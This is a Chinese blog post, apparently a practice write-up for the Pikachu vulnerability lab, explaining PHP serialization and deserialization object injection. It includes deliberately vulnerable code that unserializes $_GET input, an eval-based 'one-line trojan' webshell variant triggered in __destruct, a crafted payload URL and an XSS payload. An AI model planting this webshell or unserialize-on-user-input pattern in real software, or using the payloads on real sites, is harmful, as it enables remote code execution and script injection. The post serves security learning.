欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

程序员文章站 2022-05-11 18:01:43
...

1.序列化serialize()与反序列化unserialize()

  •  序列化:把一个对象变成可以传输的字符串。
  •  反序列化:把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

举例说明如下:

<?php
Class a{
Var $test = 'test';
}
$a = new a();
Echo serialize($a);//序列化成为一个字符串形式
$b=unserialize(serialize($a));//反序列化成为一个对象
Print_r($b->test);
?>

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

大括号前面依次表示,O代表结构类型为:类,1表示类名长度,a表示类名、1表示属性(成员)个数

大括号内分别是:s表示属性名类型、4表示长度、test表示名称;s表示值类型、4表示长度、test表示值

大括号后面表示反序列话后的结果为test

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

2.PHP反序列化漏洞

PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。也就是说,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前,

__wakeup()将在序列化之后立即被调用。

  • 调用_destruct()魔法函数
<?php
class A {
	var $test = 'test';
	function __destruct(){
		echo $this->test;
		}
}
$a = new A();
echo serialize($a);
?>

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

漏洞发现:

<?php
class A {
	var $test = 'test';
	function __destruct(){
		echo $this->test;
		}
}
$b = $_GET['cmd'];
$c = unserialize($b);
//echo $c->test;
?>

报错如下,可进行漏洞利用

 Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

手工添加cmd注入,得到反序列化后结果test

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

那么结果得到的test是在URL中输入进去的,还是代码中定义的呢?我们可以接着测试一下:

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

从上面结果中显而易见,输入的字符串将代码中定义的覆盖掉了。也就是说,手动注入成功了。

同样的,接下来我们可以尝试将字符注入,结果如下所示:成功了

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

  •  接下来可以尝试构造一个反序列化的马子 :实现一句话木马的变形
<?php
class A {
	var $test = 'test';
	function __destruct(){
		@eval($this->test);
		}
}
$b = $_GET['cmd'];
$len=strlen($_GET['cmd'])+1;
$d = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$b.";\";}";
$c = unserialize($d);
//echo $c->test;
?>

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

  • 不改变类名成员个数的情况下,增加新的成员,反序列化后的结果是否改变?尝试如下:
<?php
class a {
	var $test = 'test';
	function __destruct(){
		echo $this->test1;
		}
}
$b = $_GET['cmd'];
echo $b;
$c = unserialize($b);
#echo 'dir';
?>

http://192.168.109.140/serialize.php?cmd=O:1:%22a%22:2:{s:4:%22test%22;s:5:%22`dir`%22;s:5:%22test1%22;s:6:%22`dir1`%22;}

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞

从反序列化结果为‘dir1',回到源代码看到$this->test1,即cmd中手动输入命令时会直接定位到名为test1上的值,可知是'dir1'。

3.pikachu平台测试

 payload:   O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞